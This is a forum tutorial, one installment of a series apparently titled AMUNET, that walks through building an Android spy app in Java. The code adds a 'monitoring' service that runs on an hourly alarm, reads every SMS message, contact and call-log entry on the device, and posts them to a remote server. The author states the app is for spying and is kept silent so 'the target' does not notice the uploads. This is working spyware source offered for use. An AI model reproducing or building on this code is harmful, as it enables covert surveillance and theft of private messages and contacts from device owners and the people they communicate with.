Greetings my fellow hackers,
As we continue with our series, the AMUNET app becomes complicated with new functionalities and structures to understand. We’ll sail right through. As stated earlier in previous tutorials, the app doesn’t fully exists because I build them before I share so forgive me if it takes sometime before a tutorial comes out. I need to make sure everything works well first.
PREVIOUS TUTORIALS
Below are the tutorials covered so far.
- Introduction to Amunet
- Get Installed Apps
- Sending Information to Web Server
- Granting Permission for Extra Functions
FAQ
I have been receiving questions from readers and these ones are most prevalent.
Q: How to collect information on my localhost
A: The tutorial does not limit you to the test server. As stated earlier, just change the server endpoint ( ip address ) in the Configuration.java
and make sure your server accepts the POST parameters being passed.
Q: Can I get the source code ( PHP ) for your test server
A: Absolutely not.
Q: Where is my data stored on the test server ?
A: I am a great fan of privacy and data protection. With that said, every data sent to the test server is encrypted ( username and password ). I use bcrypt for protecting confidential information and as a result, I do have access to the information stored on the server but cannot decrypt or read them. Only the right user.
Q: Will I pay for using the test server ?
A: Absolutely not. The server was only set up to help with the tutorial. No need to pay anything. It’s set up out of good will.
Q: What’s the API auth key thing ?
A: The API Auth key helps the server identify the correct user. Without it, any data sent will be rejected.
Q: Do I need the API auth key on my local server ?
A: No please. You do not need an auth key on your local server. You only need to accept the POST parameters being sent by Volley and thats all.
TODAY’S TUTORIAL
In today’s tutorial, we will persistently collect information about the contacts on the phone, call logs and text messages ( sms ). Persistently in the sense that, we are going to put the codes in a service which runs periodically ( time to time, intervals ) and make sure we have up to date information. You can set the interval to any value ranging from a minute to any hour of the day.
Continuing from the previous tutorial, lets add one more button that will trigger monitoring on the target device. Lets go to our content_dashboard.xml
and add the button.
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layout_behavior="@string/appbar_scrolling_view_behavior"
tools:context=".Dashboard"
tools:showIn="@layout/activity_dashboard">
<android.support.v7.widget.RecyclerView
android:layout_width="match_parent"
android:layout_above="@id/service_monitor_button"
android:id="@+id/dashboard_recycler_view"
android:layout_height="match_parent" />
<Button
android:layout_width="match_parent"
android:text="Start MONITORING"
android:padding="10dp"
android:id="@+id/service_monitor_button"
android:textColor="@android:color/white"
android:background="@color/colorPrimary"
style="@style/Base.Widget.AppCompat.Button.Borderless"
android:layout_alignParentBottom="true"
android:layout_height="wrap_content" />
</RelativeLayout>
With our button declared in the layout, lets declare in the Dashboard.java
file. Below the public class Dashboard ...
statement, declare the button.
public class Dashboard extends AppCompatActivity {
private RecyclerView recyclerView;
private List<RecyclerJava> recyclerJavaList = new ArrayList<>();
private RecyclerAdapter recyclerAdapter;
private Button service_monitor_btn; // New added button declaration
protected static final int GPS_REQUEST_CODE = 5000;
protected static final int CONTACTS_REQUEST_CODE = 5001;
protected static final int CALENDAR_REQUEST_CODE = 5002;
protected static final int MIC_REQUEST_CODE = 5003;
protected static final int CAMERA_REQUEST_CODE = 5004;
protected static final int STORAGE_REQUEST_CODE = 5005;
protected static final int SMS_REQUEST_CODE = 5006;
ONCREATE METHOD
With our button declared, lets scroll to the onCreate
method and set reference to our button and set the click listener.
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dashboard);
Toolbar toolbar = findViewById(R.id.dashboard_toolbar);
setSupportActionBar(toolbar);
recyclerView = findViewById(R.id.dashboard_recycler_view);
recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext());
recyclerView.setLayoutManager(mLayoutManager);
recyclerView.setItemAnimator(new DefaultItemAnimator());
recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL));
// Finding the button
service_monitor_btn = findViewById(R.id.service_monitor_button);
// Checking if our TimerService is running
if(MyServiceIsRunning(TimerService.class)) {
service_monitor_btn.setText("STOP MONITORING");
} else {
service_monitor_btn.setText("START MONITORING");
}
// Setting a click listener on the button
service_monitor_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(MyServiceIsRunning(TimerService.class)) {
Log.i("0x00sec", "Stopping Service ...");
stopService(new Intent(Dashboard.this, TimerService.class));
service_monitor_btn.setText("START MONITORING");
} else {
Log.i("0x00sec", "Starting Service ...");
startService(new Intent(Dashboard.this, TimerService.class));
service_monitor_btn.setText("STOP MONITORING");
}
}
});
updateRecycler();
}
1 - We assign the button to the view object in the layout file.
2 - MyServiceIsRunning
is a method that checks if a service is running. We want the text on the button to be set to stop
when the service is running
and start
when the service is not running
.
3 - The service to check is TimerService.class
. Its function is to set a repeating alarm function that calls a Broadcast receiver which sends information to the server. Let’s take it bit by bit.
MYSERVICEISRUNNING
This methods as explained accepts a service parameter and checks if the service is running or not and returns a boolean value ( true / false )
private boolean MyServiceIsRunning(Class<?> serviceClass) {
ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
TIMERSERVICE
This service starts a repeating alarm ( Alarm Manager ) that calls a Broadcast receiver. The receiver then begins uploading the information. Create a new java class and extend it to the Service class.
Lets code.
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.os.SystemClock;
import android.support.annotation.Nullable;
import android.util.Log;
public class TimerService extends Service {
@Override
public void onCreate() {
super.onCreate();
AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0);
alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime(),
AlarmManager.INTERVAL_HOUR,
pendingIntent);
// stopSelf(); // Optional
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() { // Stop Service
super.onDestroy();
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
The only important method is the onCreate
method.
Using the AlarmManager, we schedule a repeating alarm to call ServerUpdateReceiver.class
( Broadcast Receiver ). Data can be passed to the receiver through the intent.putExtra
call but we won’t be passing any for now.
Another thing to carefully take note is AlarmManager.INTERVAL_HOUR
. This piece of parameter ( in Milliseconds ) is the interval for the alarm. The minimum is 60 seconds ( 1 minute - 60000ms ), you cannot set below that. Android will forcefully set it up to a minute if you set it below 60 seconds. We configure our receiver to be called every hour. It is recommended to even increase it a bit as frequent calls can calls the app to crash, battery drain or have our app kill in case of low memory situation.
I am fully aware that we are not checking if the phone is connected to the Internet before sending data. We will fix that later but for the mean time, we have to make sure the phone is connected to the internet. Repeated calls with no internet connection will cause the app to crash temporarily. Temporarily because the alarm call will be fired again which in turn will call our receiver again. Ever repeating.
SERVERUPDATERECEIVER ( BROADCAST )
This receiver simply sends periodic data to our defined server. If a permission is not granted, the appropriate method will not be called because android will not permit us to collect data we do not have permission to.
Create a java class and extend it to the BroadcastReceiver class.
Remember, if you are not naming your objects according to the ones in the tutorial, make sure you replace them according in the codes.
The only needed method for a BroadcastReceiver is the onReceive
Override method. Your code should be something like this:
public class ServerUpdateReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
}
}
Below the public class
statement, lets declare a Context
. With this, all other methods can access it.
public class ServerUpdateReceiver extends BroadcastReceiver {
Context context;
...
ONRECEIVE METHOD
Within the method, we first check if a permission is granted, then call the appropriate method. This tutorial will cover contacts, call logs and sms messages.
@Override
public void onReceive(Context context, Intent intent) {
this.context = context;
if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
new Thread(new Runnable() {
@Override
public void run() {
update_Server_SMS();
}
}).start();
}
if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
new Thread(new Runnable() {
@Override
public void run() {
update_Server_Contacts();
update_Server_Call_Logs();
}
}).start();
}
}
The method that sends our SMS message to the server is update_Server_SMS
and the methods responsible for sending the contact information and call log are update_Server_Call_Logs
and update_Server_Contacts
.
Instead of having different methods handle communication to the server. We will instead create a method to accept POST parameters
and handler communications. With this, all methods in the class can communicate externally by calling it and passing along their parameter.
UPDATE_SERVER METHOD
Update server is the method that handles communication to the server. It accepts POST parameters and sends them along.
private void update_Server(final Map<String, String> params) {
RequestQueue requestQueue = Volley.newRequestQueue(context);
StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
@Override
public void onResponse(String req) {
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
}
}) {
protected Map<String, String> getParams() {
return params;
}
};
requestQueue.add(serverRequest);
}
Since this class is non-UI ( erm, maybe can do little UI jobs like toast, notification, etc ), we don’t want to push any notification like upload complete because it’s a spy app and we don’t want the target to know that information has been sent. Quiet as possible. We therefore don’t include any UI codes here. Since we are also blind as to whether our data was saved or not, we have make sure the server receives the data correctly. Moving on …
UPDATE_SERVER_SMS
This method reads the SMS database of the phone ( inbox, draft, sent ) and sends them to the server through the update_Server
method.
private void update_Server_SMS() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
try {
Uri uriSMSURI = Uri.parse("content://sms");
Cursor cursor = context.getContentResolver().query(uriSMSURI, null, null, null,null);
while (cursor.moveToNext()) {
String address = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString();
String message = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString();
String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString();
String read = cursor.getString(cursor.getColumnIndexOrThrow("read")).toString();
String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString();
String id = cursor.getString(cursor.getColumnIndexOrThrow("_id")).toString();
if(read.equals("0")) { read = "no"; } else { read = "yes"; }
if(type.equals("1")) { type = "inbox"; } else if(type.equals("2")) { type = "sent"; } else { type = "draft"; }
date = get_Long_Date(date);
// THIS IS HOW TO CREATE THE POST PARAMETERS ( MAP ARRAY )
Map<String, String> params = new HashMap<>();
params.put("address", address);
params.put("message", message);
params.put("date", date);
params.put("read", read);
params.put("id", id);
params.put("type", type);
params.put("auth", auth_key);
update_Server(params);
}
} catch (Exception e) {
}
}
1 - content://sms
- allows us to loop through the entire SMS database not limiting ourself to the inbox, draft or sent messages.
2 - cursor.getColumnIndexOrThrow
- allows us to get the appropriate column index of the cursor. Mind you, entering a wrong Column name will cause the app to crash. These are the meanings of the columns.
- address - phone number
- message - content of messages
- date - time of message
- read - status of message ( 0 - not read, 1 - read )
- type - type of message ( 1 - inbox, 2 - outbox, 3 - draft ( guess work) )
- id - unique message identifier
3 - The date is constructed into human readable with get_Long_Date
.
4 - We then construct our POST parameters and call the update_Server
method to communicate the information.
The server should then be receiving something like $_POST['address'] && $_POST['message'] ...
GET_LONG_DATE METHOD
Accepts and converts the passed argument into readable.
private String get_Long_Date(String date) {
Long timestamp = Long.parseLong(date);
Calendar calendar = Calendar.getInstance();
calendar.setTimeInMillis(timestamp);
DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
return formatter.format(calendar.getTime());
}
UPDATE_SERVER_CONTACTS
This method just like the one above it, loops through the Contact database, gets information and sends it.
private void update_Server_Contacts() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null,
null, null, null);
while (cursor.moveToNext()) {
try{
String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
String phoneNumber = null;
if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
Cursor phones = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId, null, null);
while (phones.moveToNext()) {
phoneNumber = phones.getString(phones.getColumnIndex( ContactsContract.CommonDataKinds.Phone.NUMBER));
break;
}
phones.close();
if(phoneNumber != null) {
Map<String, String> params = new HashMap<>();
params.put("contact_name", name);
params.put("contact_phone", phoneNumber);
params.put("auth", auth_key);
update_Server(params);
}
}
}catch(Exception e) {
}
}
}
Again, changing the ColumnIndex will cause the app to crash. They are constant values.
UPDATE_SERVER_CALL_LOGS
The methods just like the other two loops through the call logs database and fetches information.
@SuppressLint("MissingPermission")
private void update_Server_Call_Logs() {
SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
final String auth_key = sharedPreferences.getString("auth_key", null);
Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
int phone_number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
int date = cursor.getColumnIndex(CallLog.Calls.DATE);
int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);
while (cursor.moveToNext()) {
String number = cursor.getString(phone_number);
String call_type = cursor.getString(type);
String call_date = get_Long_Date(cursor.getString(date));
String call_duration = cursor.getString(duration);
int call_code = Integer.parseInt(call_type);
switch (call_code) {
case CallLog.Calls.OUTGOING_TYPE:
call_type = "OUTGOING";
break;
case CallLog.Calls.INCOMING_TYPE:
call_type = "INCOMING";
break;
case CallLog.Calls.MISSED_TYPE:
call_type = "MISSED";
break;
}
Map<String, String> params = new HashMap<>();
params.put("phone_number", number);
params.put("call_date", call_date);
params.put("call_type", call_type);
params.put("call_duration", call_duration);
params.put("auth", auth_key);
update_Server(params);
}
cursor.close();
}
We are done for this tutorial. Before we get ahead of ourselves. It took me days to realize that I had forgotten to add the appropriate call logs permission although we had already added them in the previous tutorial. Without READ_CALL_LOGS
and WRITE_CALL_LOGS
permission. We cannot access the call logs. Lets add them to AndroidManifest.xml
.
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
Go ahead now and run your android app. Allow permissions and start monitoring. Your data should be sent to the test server ( if you used my test server ).
CONCLUSION
I love your contributions, suggestions, feedbacks, critics, etc. Anything to help the series.
You can directly import the project into your android studio if you are having trouble.
Checkout the github repo: https://github.com/sergeantexploiter/Amunet
Until we meet again. I’m out.
#Sergeant